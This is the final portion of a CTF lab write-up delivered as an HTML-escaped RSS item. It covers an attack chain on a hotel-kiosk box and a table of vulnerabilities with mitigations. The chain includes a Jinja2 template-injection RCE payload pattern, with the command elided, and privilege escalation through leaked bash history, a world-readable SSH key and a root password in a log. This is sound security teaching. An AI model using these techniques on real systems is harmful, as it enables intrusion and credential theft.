/var/log/provisioning.log:2026-08-01 03:14:30 &lt;span class="o"&gt;[&lt;/span&gt;SUCCESS] Applied security policy &lt;span class="k"&gt;for &lt;/span&gt;root access.
/var/log/provisioning.log:2026-08-01 03:14:31 &lt;span class="o"&gt;[&lt;/span&gt;DEBUG] Saved system root &lt;span class="nb"&gt;sync &lt;/span&gt;credential: &lt;span class="o"&gt;[&lt;/span&gt;REDACTED]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A provisioning/build script left a debug-level log entry containing the root account's password in plaintext, readable by anyone in &lt;code&gt;adm&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Root
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;david@5ee06b607cca:~&lt;span class="nv"&gt;$ &lt;/span&gt;su root
Password: 
root@5ee06b607cca:/home/david# &lt;span class="nb"&gt;whoami
&lt;/span&gt;root
root@5ee06b607cca:~# &lt;span class="nb"&gt;cat &lt;/span&gt;root.txt
HSM&lt;span class="o"&gt;{&lt;/span&gt;REDACTED&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Attack Chain
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;Unauthenticated /login
        │
        ▼
Leaked sourcemap (app.min.js.map)
        │  reveals internal kiosk API path
        ▼
GET /api/v1/rooms/status?status=occupied  (no auth)
        │  dumps room_number + guest_name for all 100 guests
        ▼
POST /login  (room_number=[REDACTED], last_name=[REDACTED])
        │  guest account takeover via leaked data
        ▼
/profile → display_name reflected unsanitized
        │  Jinja2 SSTI ({{7&lt;span class="err"&gt;*&lt;/span&gt;7}} → 49)
        ▼
{{ lipsum.__globals__['os'].popen(...) }}   [--data-urlencode fixes shell-quoting break]
        │  RCE as www-data (inside Docker container)
        ▼
Readable /home/george/.bash_history
        │  leaks david's su/MySQL password (reuse) + world-readable id_rsa → user.txt
        ▼
su david  (adm group membership)
        │  read access to /var/log/provisioning.log
        ▼
Plaintext root password in provisioning.log
        │
        ▼
su root → root.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Key Vulnerabilities &amp;amp; Mitigations
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Impact&lt;/th&gt;
&lt;th&gt;Mitigation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Deployed JS sourcemap (&lt;code&gt;app.min.js.map&lt;/code&gt;) leaks internal API path&lt;/td&gt;
&lt;td&gt;Recon → exposes hidden endpoint&lt;/td&gt;
&lt;td&gt;Never ship &lt;code&gt;.map&lt;/code&gt; files to production; strip source maps in the build pipeline&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;/api/v1/rooms/status&lt;/code&gt; has no authentication&lt;/td&gt;
&lt;td&gt;Full guest PII dump (room + last name), enables login bypass&lt;/td&gt;
&lt;td&gt;Require session/auth on all internal APIs; never trust "kiosk-only" obscurity&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Guest login only checks room number + last name (both leaked by #2)&lt;/td&gt;
&lt;td&gt;Account takeover of any guest&lt;/td&gt;
&lt;td&gt;Add a real secret (booking reference, OTP) not derivable from other endpoints&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;display_name&lt;/code&gt; rendered via unsandboxed Jinja2 (&lt;code&gt;render_template_string&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Server-side template injection → RCE as &lt;code&gt;www-data&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Never pass user input into &lt;code&gt;render_template_string&lt;/code&gt;; use &lt;code&gt;render_template&lt;/code&gt; with a fixed template and pass data as a context variable only&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;World-readable &lt;code&gt;george&lt;/code&gt; and &lt;code&gt;david&lt;/code&gt; home directories, a &lt;code&gt;.bash_history&lt;/code&gt; with credentials, and a self-chmod'd &lt;code&gt;644&lt;/code&gt; SSH private key&lt;/td&gt;
&lt;td&gt;Credential and key disclosure to any local user&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;chmod 700&lt;/code&gt; home directories, never type passwords on the command line, disable/clear history for sensitive commands, &lt;code&gt;chmod 600&lt;/code&gt; private keys&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;Password reuse between &lt;code&gt;su&lt;/code&gt; login and MySQL account&lt;/td&gt;
&lt;td&gt;One leaked credential compromises multiple services&lt;/td&gt;
&lt;td&gt;Unique credentials per service, use a secrets manager&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;adm&lt;/code&gt; group grants read access to &lt;code&gt;/var/log&lt;/code&gt;, and a provisioning script logged the root password at DEBUG level&lt;/td&gt;
&lt;td&gt;Local user → root&lt;/td&gt;
&lt;td&gt;Never log secrets, even at debug level; scrub/rotate provisioning logs; avoid giving broad log-read groups to non-admin accounts&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

</description>
      <category>cybersecurity</category>
      <category>ctf</category>
      <category>writeup</category>
      <category>hacksmarter</category>
    </item>
  </channel>
</rss>
